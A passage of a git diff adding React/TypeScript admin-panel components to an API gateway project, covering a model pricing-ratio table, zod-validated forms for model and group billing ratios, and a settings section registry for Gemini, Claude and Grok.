+            <DataTableColumnHeader column={column} title={t('Cache')} />
+          ),
+          cell: ({ row }) => (
+            <span className={fallbackClass(row.original)}>
+              {formatValue(row.getValue('cacheRatio'))}
+            </span>
+          ),
+          meta: { label: 'Cache' },
+        },
+        {
+          accessorKey: 'createCacheRatio',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Create cache')} />
+          ),
+          cell: ({ row }) => (
+            <span className={fallbackClass(row.original)}>
+              {formatValue(row.getValue('createCacheRatio'))}
+            </span>
+          ),
+          meta: { label: 'Create cache' },
+        },
+        {
+          accessorKey: 'imageRatio',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Image')} />
+          ),
+          cell: ({ row }) => (
+            <span className={fallbackClass(row.original)}>
+              {formatValue(row.getValue('imageRatio'))}
+            </span>
+          ),
+          meta: { label: 'Image' },
+        },
+        {
+          accessorKey: 'audioRatio',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Audio')} />
+          ),
+          cell: ({ row }) => (
+            <span className={fallbackClass(row.original)}>
+              {formatValue(row.getValue('audioRatio'))}
+            </span>
+          ),
+          meta: { label: 'Audio' },
+        },
+        {
+          accessorKey: 'audioCompletionRatio',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Audio comp.')} />
+          ),
+          cell: ({ row }) => (
+            <span className={fallbackClass(row.original)}>
+              {formatValue(row.getValue('audioCompletionRatio'))}
+            </span>
+          ),
+          meta: { label: 'Audio comp.' },
+        },
+        {
+          id: 'actions',
+          cell: ({ row }) => (
+            <div className='flex justify-end gap-2'>
+              <Button
+                variant='ghost'
+                size='sm'
+                onClick={() => handleEdit(row.original)}
+              >
+                <Pencil className='h-4 w-4' />
+              </Button>
+              <Button
+                variant='ghost'
+                size='sm'
+                onClick={() => handleDelete(row.original.name)}
+              >
+                <Trash2 className='h-4 w-4' />
+              </Button>
+            </div>
+          ),
+          enableHiding: false,
+        },
+      ]
+    }, [handleEdit, handleDelete, t])
+
+    const table = useReactTable({
+      data: models,
+      columns,
+      state: {
+        sorting,
+        columnVisibility,
+        pagination,
+      },
+      onSortingChange: setSorting,
+      onColumnVisibilityChange: setColumnVisibility,
+      onPaginationChange: setPagination,
+      autoResetPageIndex: false,
+      getCoreRowModel: getCoreRowModel(),
+      getFilteredRowModel: getFilteredRowModel(),
+      getSortedRowModel: getSortedRowModel(),
+      getPaginationRowModel: getPaginationRowModel(),
+      globalFilterFn: (row, _columnId, filterValue) => {
+        const searchValue = String(filterValue).toLowerCase()
+        return row.original.name.toLowerCase().includes(searchValue)
+      },
+    })
+
+    const handleSave = useCallback(
+      (data: ModelRatioData) => {
+        const priceMap = safeJsonParse<Record<string, number>>(modelPrice, {
+          fallback: {},
+          silent: true,
+        })
+        const ratioMap = safeJsonParse<Record<string, number>>(modelRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const cacheMap = safeJsonParse<Record<string, number>>(cacheRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const createCacheMap = safeJsonParse<Record<string, number>>(
+          createCacheRatio,
+          { fallback: {}, silent: true }
+        )
+        const completionMap = safeJsonParse<Record<string, number>>(
+          completionRatio,
+          { fallback: {}, silent: true }
+        )
+        const imageMap = safeJsonParse<Record<string, number>>(imageRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const audioMap = safeJsonParse<Record<string, number>>(audioRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const audioCompletionMap = safeJsonParse<Record<string, number>>(
+          audioCompletionRatio,
+          { fallback: {}, silent: true }
+        )
+        const billingModeMap = safeJsonParse<Record<string, string>>(
+          billingMode,
+          { fallback: {}, silent: true }
+        )
+        const billingExprMap = safeJsonParse<Record<string, string>>(
+          billingExpr,
+          { fallback: {}, silent: true }
+        )
+
+        delete priceMap[data.name]
+        delete ratioMap[data.name]
+        delete cacheMap[data.name]
+        delete createCacheMap[data.name]
+        delete completionMap[data.name]
+        delete imageMap[data.name]
+        delete audioMap[data.name]
+        delete audioCompletionMap[data.name]
+        delete billingModeMap[data.name]
+        delete billingExprMap[data.name]
+
+        const setIfPresent = (
+          target: Record<string, number>,
+          value: string | undefined
+        ) => {
+          if (!value || value === '') return
+          const parsed = parseFloat(value)
+          if (Number.isFinite(parsed)) target[data.name] = parsed
+        }
+
+        if (data.billingMode === 'tiered_expr') {
+          const combined = combineBillingExpr(
+            data.billingExpr || '',
+            data.requestRuleExpr || ''
+          )
+          if (combined) {
+            billingModeMap[data.name] = 'tiered_expr'
+            billingExprMap[data.name] = combined
+          }
+          // Always serialize ratio/price values for tiered_expr models so they
+          // serve as fallback during multi-instance sync delays. The backend's
+          // ModelPriceHelper checks billing_mode first, so these values are
+          // only consulted when billing_setting hasn't propagated yet.
+          setIfPresent(priceMap, data.price)
+          setIfPresent(ratioMap, data.ratio)
+          setIfPresent(cacheMap, data.cacheRatio)
+          setIfPresent(createCacheMap, data.createCacheRatio)
+          setIfPresent(completionMap, data.completionRatio)
+          setIfPresent(imageMap, data.imageRatio)
+          setIfPresent(audioMap, data.audioRatio)
+          setIfPresent(audioCompletionMap, data.audioCompletionRatio)
+        } else if (data.price && data.price !== '') {
+          setIfPresent(priceMap, data.price)
+        } else {
+          setIfPresent(ratioMap, data.ratio)
+          setIfPresent(cacheMap, data.cacheRatio)
+          setIfPresent(createCacheMap, data.createCacheRatio)
+          setIfPresent(completionMap, data.completionRatio)
+          setIfPresent(imageMap, data.imageRatio)
+          setIfPresent(audioMap, data.audioRatio)
+          setIfPresent(audioCompletionMap, data.audioCompletionRatio)
+        }
+
+        onChange('ModelPrice', JSON.stringify(priceMap, null, 2))
+        onChange('ModelRatio', JSON.stringify(ratioMap, null, 2))
+        onChange('CacheRatio', JSON.stringify(cacheMap, null, 2))
+        onChange('CreateCacheRatio', JSON.stringify(createCacheMap, null, 2))
+        onChange('CompletionRatio', JSON.stringify(completionMap, null, 2))
+        onChange('ImageRatio', JSON.stringify(imageMap, null, 2))
+        onChange('AudioRatio', JSON.stringify(audioMap, null, 2))
+        onChange(
+          'AudioCompletionRatio',
+          JSON.stringify(audioCompletionMap, null, 2)
+        )
+        onChange(
+          'billing_setting.billing_mode',
+          JSON.stringify(billingModeMap, null, 2)
+        )
+        onChange(
+          'billing_setting.billing_expr',
+          JSON.stringify(billingExprMap, null, 2)
+        )
+      },
+      [
+        modelPrice,
+        modelRatio,
+        cacheRatio,
+        createCacheRatio,
+        completionRatio,
+        imageRatio,
+        audioRatio,
+        audioCompletionRatio,
+        billingMode,
+        billingExpr,
+        onChange,
+      ]
+    )
+
+    return (
+      <div className='space-y-4'>
+        <div className='flex items-center justify-between gap-4'>
+          <DataTableToolbar
+            table={table}
+            searchPlaceholder={t('Search models...')}
+          />
+          <Button onClick={handleAdd}>
+            <Plus className='mr-2 h-4 w-4' />
+            {t('Add model')}
+          </Button>
+        </div>
+
+        {table.getRowModel().rows.length === 0 ? (
+          <div className='text-muted-foreground rounded-lg border border-dashed p-8 text-center'>
+            {table.getState().globalFilter
+              ? t('No models match your search')
+              : t('No models configured. Click "Add model" to get started.')}
+          </div>
+        ) : (
+          <div className='overflow-hidden rounded-md border'>
+            <Table>
+              <TableHeader>
+                {table.getHeaderGroups().map((headerGroup) => (
+                  <TableRow key={headerGroup.id}>
+                    {headerGroup.headers.map((header) => (
+                      <TableHead key={header.id} colSpan={header.colSpan}>
+                        {header.isPlaceholder
+                          ? null
+                          : flexRender(
+                              header.column.columnDef.header,
+                              header.getContext()
+                            )}
+                      </TableHead>
+                    ))}
+                  </TableRow>
+                ))}
+              </TableHeader>
+              <TableBody>
+                {table.getRowModel().rows.map((row) => (
+                  <TableRow key={row.id}>
+                    {row.getVisibleCells().map((cell) => (
+                      <TableCell key={cell.id}>
+                        {flexRender(
+                          cell.column.columnDef.cell,
+                          cell.getContext()
+                        )}
+                      </TableCell>
+                    ))}
+                  </TableRow>
+                ))}
+              </TableBody>
+            </Table>
+          </div>
+        )}
+
+        {table.getRowModel().rows.length > 0 && (
+          <DataTablePagination table={table} />
+        )}
+
+        <ModelRatioDialog
+          open={dialogOpen}
+          onOpenChange={setDialogOpen}
+          onSave={handleSave}
+          editData={editData}
+        />
+      </div>
+    )
+  },
+  // Custom equality check - only re-render if JSON props actually changed
+  (prevProps, nextProps) => {
+    return (
+      prevProps.modelPrice === nextProps.modelPrice &&
+      prevProps.modelRatio === nextProps.modelRatio &&
+      prevProps.cacheRatio === nextProps.cacheRatio &&
+      prevProps.createCacheRatio === nextProps.createCacheRatio &&
+      prevProps.completionRatio === nextProps.completionRatio &&
+      prevProps.imageRatio === nextProps.imageRatio &&
+      prevProps.audioRatio === nextProps.audioRatio &&
+      prevProps.audioCompletionRatio === nextProps.audioCompletionRatio &&
+      prevProps.billingMode === nextProps.billingMode &&
+      prevProps.billingExpr === nextProps.billingExpr &&
+      prevProps.onChange === nextProps.onChange
+    )
+  }
+)
diff --git a/new-api/web/default/src/features/system-settings/models/ratio-settings-card.tsx b/new-api/web/default/src/features/system-settings/models/ratio-settings-card.tsx
new file mode 100644
index 0000000..05d76e2
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/ratio-settings-card.tsx
@@ -0,0 +1,488 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useMutation, useQueryClient } from '@tanstack/react-query'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { resetModelRatios } from '../api'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { GroupRatioForm } from './group-ratio-form'
+import { ModelRatioForm } from './model-ratio-form'
+import { ToolPriceSettings } from './tool-price-settings'
+import { UpstreamRatioSync } from './upstream-ratio-sync'
+import {
+  formatJsonForTextarea,
+  normalizeJsonString,
+  validateJsonString,
+} from './utils'
+
+const modelSchema = z.object({
+  ModelPrice: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  ModelRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  CacheRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  CreateCacheRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  CompletionRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  ImageRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  AudioRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  AudioCompletionRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  ExposeRatioEnabled: z.boolean(),
+  BillingMode: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  BillingExpr: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+})
+
+const groupSchema = z.object({
+  GroupRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  TopupGroupRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  UserUsableGroups: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  GroupGroupRatio: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+  AutoGroups: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value, {
+      predicate: (parsed) =>
+        Array.isArray(parsed) &&
+        parsed.every((item) => typeof item === 'string'),
+      predicateMessage: 'Expected a JSON array of group identifiers',
+    })
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON array',
+      })
+    }
+  }),
+  DefaultUseAutoGroup: z.boolean(),
+  GroupSpecialUsableGroup: z.string().superRefine((value, ctx) => {
+    const result = validateJsonString(value)
+    if (!result.valid) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: result.message || 'Invalid JSON',
+      })
+    }
+  }),
+})
+
+type ModelFormValues = z.infer<typeof modelSchema>
+type GroupFormValues = z.infer<typeof groupSchema>
+
+type RatioSettingsCardProps = {
+  modelDefaults: ModelFormValues
+  groupDefaults: GroupFormValues
+  toolPricesDefault: string
+}
+
+export function RatioSettingsCard({
+  modelDefaults,
+  groupDefaults,
+  toolPricesDefault,
+}: RatioSettingsCardProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const queryClient = useQueryClient()
+  const [confirmOpen, setConfirmOpen] = useState(false)
+
+  const resetMutation = useMutation({
+    mutationFn: resetModelRatios,
+    onSuccess: (data) => {
+      if (data.success) {
+        toast.success(t('Model ratios reset successfully'))
+        queryClient.invalidateQueries({ queryKey: ['system-options'] })
+        setConfirmOpen(false)
+      } else {
+        toast.error(data.message || t('Failed to reset model ratios'))
+      }
+    },
+    onError: (error: Error) => {
+      toast.error(error.message || t('Failed to reset model ratios'))
+    },
+  })
+
+  const modelNormalizedDefaults = useRef({
+    ModelPrice: normalizeJsonString(modelDefaults.ModelPrice),
+    ModelRatio: normalizeJsonString(modelDefaults.ModelRatio),
+    CacheRatio: normalizeJsonString(modelDefaults.CacheRatio),
+    CreateCacheRatio: normalizeJsonString(modelDefaults.CreateCacheRatio),
+    CompletionRatio: normalizeJsonString(modelDefaults.CompletionRatio),
+    ImageRatio: normalizeJsonString(modelDefaults.ImageRatio),
+    AudioRatio: normalizeJsonString(modelDefaults.AudioRatio),
+    AudioCompletionRatio: normalizeJsonString(
+      modelDefaults.AudioCompletionRatio
+    ),
+    ExposeRatioEnabled: modelDefaults.ExposeRatioEnabled,
+    BillingMode: normalizeJsonString(modelDefaults.BillingMode),
+    BillingExpr: normalizeJsonString(modelDefaults.BillingExpr),
+  })
+
+  const groupNormalizedDefaults = useRef({
+    GroupRatio: normalizeJsonString(groupDefaults.GroupRatio),
+    TopupGroupRatio: normalizeJsonString(groupDefaults.TopupGroupRatio),
+    UserUsableGroups: normalizeJsonString(groupDefaults.UserUsableGroups),
+    GroupGroupRatio: normalizeJsonString(groupDefaults.GroupGroupRatio),
+    AutoGroups: normalizeJsonString(groupDefaults.AutoGroups),
+    DefaultUseAutoGroup: groupDefaults.DefaultUseAutoGroup,
+    GroupSpecialUsableGroup: normalizeJsonString(
+      groupDefaults.GroupSpecialUsableGroup
+    ),
+  })
+
+  const modelForm = useForm<ModelFormValues>({
+    resolver: zodResolver(modelSchema),
+    mode: 'onChange',
+    defaultValues: {
+      ...modelDefaults,
+      ModelPrice: formatJsonForTextarea(modelDefaults.ModelPrice),
+      ModelRatio: formatJsonForTextarea(modelDefaults.ModelRatio),
+      CacheRatio: formatJsonForTextarea(modelDefaults.CacheRatio),
+      CreateCacheRatio: formatJsonForTextarea(modelDefaults.CreateCacheRatio),
+      CompletionRatio: formatJsonForTextarea(modelDefaults.CompletionRatio),
+      ImageRatio: formatJsonForTextarea(modelDefaults.ImageRatio),
+      AudioRatio: formatJsonForTextarea(modelDefaults.AudioRatio),
+      AudioCompletionRatio: formatJsonForTextarea(
+        modelDefaults.AudioCompletionRatio
+      ),
+      BillingMode: formatJsonForTextarea(modelDefaults.BillingMode),
+      BillingExpr: formatJsonForTextarea(modelDefaults.BillingExpr),
+    },
+  })
+
+  const groupForm = useForm<GroupFormValues>({
+    resolver: zodResolver(groupSchema),
+    mode: 'onChange',
+    defaultValues: {
+      ...groupDefaults,
+      GroupRatio: formatJsonForTextarea(groupDefaults.GroupRatio),
+      TopupGroupRatio: formatJsonForTextarea(groupDefaults.TopupGroupRatio),
+      UserUsableGroups: formatJsonForTextarea(groupDefaults.UserUsableGroups),
+      GroupGroupRatio: formatJsonForTextarea(groupDefaults.GroupGroupRatio),
+      AutoGroups: formatJsonForTextarea(groupDefaults.AutoGroups),
+      GroupSpecialUsableGroup: formatJsonForTextarea(
+        groupDefaults.GroupSpecialUsableGroup
+      ),
+    },
+  })
+
+  useEffect(() => {
+    modelNormalizedDefaults.current = {
+      ModelPrice: normalizeJsonString(modelDefaults.ModelPrice),
+      ModelRatio: normalizeJsonString(modelDefaults.ModelRatio),
+      CacheRatio: normalizeJsonString(modelDefaults.CacheRatio),
+      CreateCacheRatio: normalizeJsonString(modelDefaults.CreateCacheRatio),
+      CompletionRatio: normalizeJsonString(modelDefaults.CompletionRatio),
+      ImageRatio: normalizeJsonString(modelDefaults.ImageRatio),
+      AudioRatio: normalizeJsonString(modelDefaults.AudioRatio),
+      AudioCompletionRatio: normalizeJsonString(
+        modelDefaults.AudioCompletionRatio
+      ),
+      ExposeRatioEnabled: modelDefaults.ExposeRatioEnabled,
+      BillingMode: normalizeJsonString(modelDefaults.BillingMode),
+      BillingExpr: normalizeJsonString(modelDefaults.BillingExpr),
+    }
+
+    modelForm.reset({
+      ...modelDefaults,
+      ModelPrice: formatJsonForTextarea(modelDefaults.ModelPrice),
+      ModelRatio: formatJsonForTextarea(modelDefaults.ModelRatio),
+      CacheRatio: formatJsonForTextarea(modelDefaults.CacheRatio),
+      CreateCacheRatio: formatJsonForTextarea(modelDefaults.CreateCacheRatio),
+      CompletionRatio: formatJsonForTextarea(modelDefaults.CompletionRatio),
+      ImageRatio: formatJsonForTextarea(modelDefaults.ImageRatio),
+      AudioRatio: formatJsonForTextarea(modelDefaults.AudioRatio),
+      AudioCompletionRatio: formatJsonForTextarea(
+        modelDefaults.AudioCompletionRatio
+      ),
+      BillingMode: formatJsonForTextarea(modelDefaults.BillingMode),
+      BillingExpr: formatJsonForTextarea(modelDefaults.BillingExpr),
+    })
+  }, [modelDefaults, modelForm])
+
+  useEffect(() => {
+    groupNormalizedDefaults.current = {
+      GroupRatio: normalizeJsonString(groupDefaults.GroupRatio),
+      TopupGroupRatio: normalizeJsonString(groupDefaults.TopupGroupRatio),
+      UserUsableGroups: normalizeJsonString(groupDefaults.UserUsableGroups),
+      GroupGroupRatio: normalizeJsonString(groupDefaults.GroupGroupRatio),
+      AutoGroups: normalizeJsonString(groupDefaults.AutoGroups),
+      DefaultUseAutoGroup: groupDefaults.DefaultUseAutoGroup,
+      GroupSpecialUsableGroup: normalizeJsonString(
+        groupDefaults.GroupSpecialUsableGroup
+      ),
+    }
+
+    groupForm.reset({
+      ...groupDefaults,
+      GroupRatio: formatJsonForTextarea(groupDefaults.GroupRatio),
+      TopupGroupRatio: formatJsonForTextarea(groupDefaults.TopupGroupRatio),
+      UserUsableGroups: formatJsonForTextarea(groupDefaults.UserUsableGroups),
+      GroupGroupRatio: formatJsonForTextarea(groupDefaults.GroupGroupRatio),
+      AutoGroups: formatJsonForTextarea(groupDefaults.AutoGroups),
+      GroupSpecialUsableGroup: formatJsonForTextarea(
+        groupDefaults.GroupSpecialUsableGroup
+      ),
+    })
+  }, [groupDefaults, groupForm])
+
+  const saveModelRatios = useCallback(
+    async (values: ModelFormValues) => {
+      const normalized = {
+        ModelPrice: normalizeJsonString(values.ModelPrice),
+        ModelRatio: normalizeJsonString(values.ModelRatio),
+        CacheRatio: normalizeJsonString(values.CacheRatio),
+        CreateCacheRatio: normalizeJsonString(values.CreateCacheRatio),
+        CompletionRatio: normalizeJsonString(values.CompletionRatio),
+        ImageRatio: normalizeJsonString(values.ImageRatio),
+        AudioRatio: normalizeJsonString(values.AudioRatio),
+        AudioCompletionRatio: normalizeJsonString(values.AudioCompletionRatio),
+        ExposeRatioEnabled: values.ExposeRatioEnabled,
+        BillingMode: normalizeJsonString(values.BillingMode),
+        BillingExpr: normalizeJsonString(values.BillingExpr),
+      }
+
+      const apiKeyMap: Record<string, string> = {
+        BillingMode: 'billing_setting.billing_mode',
+        BillingExpr: 'billing_setting.billing_expr',
+      }
+
+      const updates = (
+        Object.keys(normalized) as Array<keyof ModelFormValues>
+      ).filter(
+        (key) => normalized[key] !== modelNormalizedDefaults.current[key]
+      )
+
+      for (const key of updates) {
+        const apiKey = apiKeyMap[key as string] || (key as string)
+        await updateOption.mutateAsync({ key: apiKey, value: normalized[key] })
+      }
+    },
+    [updateOption]
+  )
+
+  const saveGroupRatios = useCallback(
+    async (values: GroupFormValues) => {
+      const normalized = {
+        GroupRatio: normalizeJsonString(values.GroupRatio),
+        TopupGroupRatio: normalizeJsonString(values.TopupGroupRatio),
+        UserUsableGroups: normalizeJsonString(values.UserUsableGroups),
+        GroupGroupRatio: normalizeJsonString(values.GroupGroupRatio),
+        AutoGroups: normalizeJsonString(values.AutoGroups),
+        DefaultUseAutoGroup: values.DefaultUseAutoGroup,
+        GroupSpecialUsableGroup: normalizeJsonString(
+          values.GroupSpecialUsableGroup
+        ),
+      }
+
+      // Map form field names to API keys (most are 1:1, except GroupSpecialUsableGroup)
+      const apiKeyMap: Record<string, string> = {
+        GroupSpecialUsableGroup:
+          'group_ratio_setting.group_special_usable_group',
+      }
+
+      const updates = (
+        Object.keys(normalized) as Array<keyof typeof normalized>
+      ).filter(
+        (key) => normalized[key] !== groupNormalizedDefaults.current[key]
+      )
+
+      for (const key of updates) {
+        const apiKey = apiKeyMap[key] || key
+        await updateOption.mutateAsync({ key: apiKey, value: normalized[key] })
+      }
+    },
+    [updateOption]
+  )
+
+  const handleResetRatios = useCallback(() => {
+    setConfirmOpen(true)
+  }, [])
+
+  const { mutate: resetMutate } = resetMutation
+  const handleConfirmReset = useCallback(() => {
+    resetMutate()
+  }, [resetMutate])
+
+  return (
+    <SettingsSection
+      title={t('Pricing Ratios')}
+      description={t(
+        'Configure model, caching, and group ratios used for billing'
+      )}
+    >
+      <Tabs defaultValue='models' className='space-y-6'>
+        <TabsList className='grid w-full grid-cols-4'>
+          <TabsTrigger value='models'>{t('Model ratios')}</TabsTrigger>
+          <TabsTrigger value='groups'>{t('Group ratios')}</TabsTrigger>
+          <TabsTrigger value='tool-prices'>{t('Tool prices')}</TabsTrigger>
+          <TabsTrigger value='upstream-sync'>
+            {t('Upstream price sync')}
+          </TabsTrigger>
+        </TabsList>
+
+        <TabsContent value='models'>
+          <ModelRatioForm
+            form={modelForm}
+            onSave={saveModelRatios}
+            onReset={handleResetRatios}
+            isSaving={updateOption.isPending}
+            isResetting={resetMutation.isPending}
+          />
+        </TabsContent>
+
+        <TabsContent value='groups'>
+          <GroupRatioForm
+            form={groupForm}
+            onSave={saveGroupRatios}
+            isSaving={updateOption.isPending}
+          />
+        </TabsContent>
+
+        <TabsContent value='tool-prices'>
+          <ToolPriceSettings defaultValue={toolPricesDefault} />
+        </TabsContent>
+
+        <TabsContent value='upstream-sync'>
+          <UpstreamRatioSync
+            modelRatios={{
+              ModelPrice: modelDefaults.ModelPrice,
+              ModelRatio: modelDefaults.ModelRatio,
+              CompletionRatio: modelDefaults.CompletionRatio,
+              CacheRatio: modelDefaults.CacheRatio,
+              CreateCacheRatio: modelDefaults.CreateCacheRatio,
+              ImageRatio: modelDefaults.ImageRatio,
+              AudioRatio: modelDefaults.AudioRatio,
+              AudioCompletionRatio: modelDefaults.AudioCompletionRatio,
+              'billing_setting.billing_mode': modelDefaults.BillingMode,
+              'billing_setting.billing_expr': modelDefaults.BillingExpr,
+            }}
+          />
+        </TabsContent>
+      </Tabs>
+
+      <ConfirmDialog
+        open={confirmOpen}
+        onOpenChange={setConfirmOpen}
+        title={t('Reset all model ratios?')}
+        desc={t(
+          'This will clear custom pricing ratios and revert to upstream defaults.'
+        )}
+        destructive
+        isLoading={resetMutation.isPending}
+        handleConfirm={handleConfirmReset}
+        confirmText={t('Reset')}
+      />
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/section-registry.tsx b/new-api/web/default/src/features/system-settings/models/section-registry.tsx
new file mode 100644
index 0000000..187d9f4
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/section-registry.tsx
@@ -0,0 +1,155 @@
+import type { ModelSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import { ClaudeSettingsCard } from './claude-settings-card'
+import { GeminiSettingsCard } from './gemini-settings-card'
+import { GlobalSettingsCard } from './global-settings-card'
+import { GrokSettingsCard } from './grok-settings-card'
+import { RatioSettingsCard } from './ratio-settings-card'
+
+function formatJsonForEditor(value: string, fallback: string) {
+  const raw = (value ?? '').toString().trim()
+  if (!raw) return fallback
+  try {
+    return JSON.stringify(JSON.parse(raw), null, 2)
+  } catch {
+    return fallback
+  }
+}
+
+const MODELS_SECTIONS = [
+  {
+    id: 'global',
+    titleKey: 'Global Model Configuration',
+    descriptionKey: 'Configure global model settings',
+    build: (settings: ModelSettings) => (
+      <GlobalSettingsCard
+        defaultValues={{
+          global: {
+            pass_through_request_enabled:
+              settings['global.pass_through_request_enabled'],
+            thinking_model_blacklist: formatJsonForEditor(
+              settings['global.thinking_model_blacklist'],
+              '[]'
+            ),
+            chat_completions_to_responses_policy: formatJsonForEditor(
+              settings['global.chat_completions_to_responses_policy'],
+              '{}'
+            ),
+          },
+          general_setting: {
+            ping_interval_enabled:
+              settings['general_setting.ping_interval_enabled'],
+            ping_interval_seconds:
+              settings['general_setting.ping_interval_seconds'],
+          },
+        }}
+      />
+    ),
+  },
+  {
+    id: 'gemini',
+    titleKey: 'Gemini',
+    descriptionKey: 'Configure Gemini model settings',
+    build: (settings: ModelSettings) => (
+      <GeminiSettingsCard
+        defaultValues={{
+          gemini: {
+            safety_settings: settings['gemini.safety_settings'],
+            version_settings: settings['gemini.version_settings'],
+            supported_imagine_models:
+              settings['gemini.supported_imagine_models'],
+            thinking_adapter_enabled:
+              settings['gemini.thinking_adapter_enabled'],
+            thinking_adapter_budget_tokens_percentage:
+              settings['gemini.thinking_adapter_budget_tokens_percentage'],
+            function_call_thought_signature_enabled:
+              settings['gemini.function_call_thought_signature_enabled'],
+            remove_function_response_id_enabled:
+              settings['gemini.remove_function_response_id_enabled'],
+          },
+        }}
+      />
+    ),
+  },
+  {
+    id: 'claude',
+    titleKey: 'Claude',
+    descriptionKey: 'Configure Claude model settings',
+    build: (settings: ModelSettings) => (
+      <ClaudeSettingsCard
+        defaultValues={{
+          claude: {
+            model_headers_settings: settings['claude.model_headers_settings'],
+            default_max_tokens: settings['claude.default_max_tokens'],
+            thinking_adapter_enabled:
+              settings['claude.thinking_adapter_enabled'],
+            thinking_adapter_budget_tokens_percentage:
+              settings['claude.thinking_adapter_budget_tokens_percentage'],
+          },
+        }}
+      />
+    ),
+  },
+  {
+    id: 'grok',
+    titleKey: 'Grok',
+    descriptionKey: 'Configure xAI Grok model settings',
+    build: (settings: ModelSettings) => (
+      <GrokSettingsCard
+        defaultValues={{
+          'grok.violation_deduction_enabled':
+            settings['grok.violation_deduction_enabled'] ?? true,
+          'grok.violation_deduction_amount':
+            settings['grok.violation_deduction_amount'] ?? 0.05,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'ratio',
+    titleKey: 'Pricing Ratios',
+    descriptionKey: 'Configure model pricing and ratio settings',
+    build: (settings: ModelSettings) => (
+      <RatioSettingsCard
+        modelDefaults={{
+          ModelPrice: settings.ModelPrice,
+          ModelRatio: settings.ModelRatio,
+          CacheRatio: settings.CacheRatio,
+          CreateCacheRatio: settings.CreateCacheRatio,
+          CompletionRatio: settings.CompletionRatio,
+          ImageRatio: settings.ImageRatio,
+          AudioRatio: settings.AudioRatio,
+          AudioCompletionRatio: settings.AudioCompletionRatio,
+          ExposeRatioEnabled: settings.ExposeRatioEnabled,
+          BillingMode: settings['billing_setting.billing_mode'],
+          BillingExpr: settings['billing_setting.billing_expr'],
+        }}
+        toolPricesDefault={settings['tool_price_setting.prices']}
+        groupDefaults={{
+          TopupGroupRatio: settings.TopupGroupRatio,
+          GroupRatio: settings.GroupRatio,
+          UserUsableGroups: settings.UserUsableGroups,
